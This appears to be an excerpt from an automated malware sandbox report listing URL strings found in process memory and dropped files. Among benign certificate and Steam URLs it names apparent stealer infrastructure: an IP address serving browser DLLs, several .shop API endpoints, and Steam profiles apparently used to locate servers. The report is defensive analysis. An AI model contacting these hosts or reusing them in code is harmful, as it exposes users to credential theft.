Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0A
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0C
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0N
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://ocsp.entrust.net03
Source: MFDBG.exe, 00000007.00000002.4525807658.0000000002E81000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, file.exe, softokn3.dll.3.dr, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, BFIIEHJDBK.exe.3.dr, 66f4247d51812_lfdsjna[1].exe.3.dr String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3338315622.000000006C10D000.00000002.00000001.01000000.00000009.sdmp, mozglue.dll.3.dr String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000003.00000002.3206199623.00000000224DD000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3135039165.000000001C534000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://5.75.211.162
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/A3
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/freebl3.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/mozglue.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/mozglue.dllO9x
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/msvcp140.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/nss3.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/nss3.dlla
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/softokn3.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/softokn3.dlly9
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/sqlp.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/vcruntime140.dll
Source: RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162/vcruntime140.dllw7_
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162GHCGI
Source: RegAsm.exe, 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: https://5.75.211.162h;
Source: GCGHCB.3.dr String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: GCGHCB.3.dr String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: GCGHCB.3.dr String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: GCGHCB.3.dr String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=nSnUuYf7g6U1&a
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=ed0j180G
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=QypF
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=sMKriw_hI318&l=e
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: RegAsm.exe, 00000003.00000002.3002340946.000000000106A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000001052000.00000004.00000020.00020000.00000000.sdmp, IJEGDB.3.dr String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000DFA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://drawzhotdog.shop/api
Source: GCGHCB.3.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCGHCB.3.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GCGHCB.3.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://fragnantbui.shop/apie
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://help.steampowered.com/en/
Source: IJEGDB.3.dr String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: RegAsm.exe, 00000003.00000002.3290171723.000000004088F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3217974524.0000000022B5C000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3233254056.0000000028AC8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3260503251.00000000349AB000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr String found in binary or memory: https://mozilla.org0/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/api
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/api2
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000E27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/apipi
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/pi
Source: RegAsm.exe, 0000000F.00000002.2966040978.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop/piz
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://performenj.shop:443/apirofiles/76561199724331900
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://reinforcenh.shop/api.
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/discussions/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199780418869
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/market/
Source: RegAsm.exe, 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3002340946.0000000000FAD000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: RegAsm.exe, 0000000F.00000002.2978693966.0000000000E42000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: RegAsm.exe, 0000000F.00000002.2991157312.0000000000E99000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
